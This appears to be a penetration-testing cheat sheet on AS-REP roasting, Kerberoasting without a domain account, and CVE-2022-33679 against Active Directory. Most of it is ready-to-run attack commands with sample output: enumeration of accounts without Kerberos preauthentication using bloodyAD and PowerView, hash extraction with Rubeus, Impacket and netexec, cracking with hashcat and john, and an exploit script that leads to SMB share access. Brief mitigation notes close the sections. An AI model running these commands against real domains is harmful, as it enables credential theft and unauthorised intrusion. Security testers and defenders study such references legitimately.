Roasting - ASREP Roasting
If a domain user does not have Kerberos preauthentication enabled, an AS-REP can be successfully requested for the user, and a component of the structure can be cracked offline a la kerberoasting
Requirements:
-
Accounts with the attribute DONT_REQ_PREAUTH
- Windows/Linux:
bloodyAD -u user -p 'totoTOTOtoto1234*' -d crash.lab --host 10.100.10.5 get search --filter '(&(userAccountControl:1.2.840.113556.1.4.803:=4194304)(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))' --attr sAMAccountName- Windows only:
PowerView > Get-DomainUser -PreauthNotRequired -Properties distinguishedname -Verbose -
C:\Rubeus>Rubeus.exe asreproast /user:TestOU3user /format:hashcat /outfile:hashes.asreproast [*] Action: AS-REP roasting [*] Target User : TestOU3user [*] Target Domain : testlab.local [*] SamAccountName : TestOU3user [*] DistinguishedName : CN=TestOU3user,OU=TestOU3,OU=TestOU2,OU=TestOU1,DC=testlab,DC=local [*] Using domain controller: testlab.local (192.168.52.100) [*] Building AS-REQ (w/o preauth) for: 'testlab.local\TestOU3user' [*] Connecting to 192.168.52.100:88 [*] Sent 169 bytes [*] Received 1437 bytes [+] AS-REQ w/o preauth successful! [*] AS-REP hash: $krb5asrep$TestOU3user@testlab.local:858B6F645D9F9B57210292E5711E0...(snip)... -
GetNPUsers from Impacket Suite
$ python GetNPUsers.py htb.local/svc-alfresco -no-pass [*] Getting TGT for svc-alfresco $krb5asrep$23$svc-alfresco@HTB.LOCAL:c13528009a59be0a634bb9b8e84c88ee$cb8e87d02bd0ac7a[...]e776b4 # extract hashes root@kali:impacket-examples$ python GetNPUsers.py jurassic.park/ -usersfile usernames.txt -format hashcat -outputfile hashes.asreproast root@kali:impacket-examples$ python GetNPUsers.py jurassic.park/triceratops:Sh4rpH0rns -request -format hashcat -outputfile hashes.asreproast -
netexec Module
$ netexec ldap 10.0.2.11 -u 'username' -p 'password' --kdcHost 10.0.2.11 --asreproast output.txt LDAP 10.0.2.11 389 dc01 $krb5asrep$23$john.doe@LAB.LOCAL:5d1f750[...]2a6270d7$096fc87726c64e545acd4687faf780[...]13ea567d5
Using hashcat or john to crack the ticket.
# crack AS_REP messages with hashcat
root@kali:impacket-examples$ hashcat -m 18200 --force -a 0 hashes.asreproast passwords_kerb.txt
root@windows:hashcat$ hashcat64.exe -m 18200 '<AS_REP-hash>' -a 0 c:\wordlists\rockyou.txt
# crack AS_REP messages with john
C:\Rubeus> john --format=krb5asrep --wordlist=passwords_kerb.txt hashes.asreproastMitigations:
- All accounts must have “Kerberos Pre-Authentication” enabled (Enabled by Default).
Kerberoasting w/o domain account
In September 2022 a vulnerability was discovered by Charlie Clark, ST (Service Tickets) can be obtained through KRB_AS_REQ request without having to control any Active Directory account. If a principal can authenticate without pre-authentication (like AS-REP Roasting attack), it is possible to use it to launch an KRB_AS_REQ request and trick the request to ask for a ST instead of a encrypted TGT, by modifying the sname attribute in the req-body part of the request.
The technique is fully explained in this article: Semperis blog post.
:warning: You must provide a list of users because we don’t have a valid account to query the LDAP using this technique.
-
impacket/GetUserSPNs.py from PR #1413
GetUserSPNs.py -no-preauth "NO_PREAUTH_USER" -usersfile "LIST_USERS" -dc-host "dc.domain.local" "domain.local"/ -
Rubeus.exe kerberoast /outfile:kerberoastables.txt /domain:"domain.local" /dc:"dc.domain.local" /nopreauth:"NO_PREAUTH_USER" /spn:"TARGET_SERVICE"
CVE-2022-33679
CVE-2022-33679 performs an encryption downgrade attack by forcing the KDC to use the RC4-MD4 algorithm and then brute forcing the session key from the AS-REP using a known plaintext attack, Similar to AS-REP Roasting, it works against accounts that have pre-authentication disabled and the attack is unauthenticated meaning we don’t need a client’s password..
Research from Project Zero : RC4 Is Still Considered Harmful - James Forshaw
Requirements:
Accounts with the attribute DONT_REQ_PREAUTH
-
Windows/Linux:
bloodyAD -u user -p 'totoTOTOtoto1234*' -d crash.lab --host 10.100.10.5 get search --filter '(&(userAccountControl:1.2.840.113556.1.4.803:=4194304)(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))' --attr sAMAccountName -
Windows only:
PowerView > Get-DomainUser -PreauthNotRequired -Properties distinguishedname -Verbose
Exploitation:
-
Using CVE-2022-33679.py
user@hostname:~$ python CVE-2022-33679.py DOMAIN.LOCAL/User DC01.DOMAIN.LOCAL user@hostname:~$ export KRB5CCNAME=/home/project/User.ccache user@hostname:~$ netexec smb DC01.DOMAIN.LOCAL -k --shares
Mitigations:
- All accounts must have “Kerberos Pre-Authentication” enabled (Enabled by Default).
- Disable RC4 cipher if possible.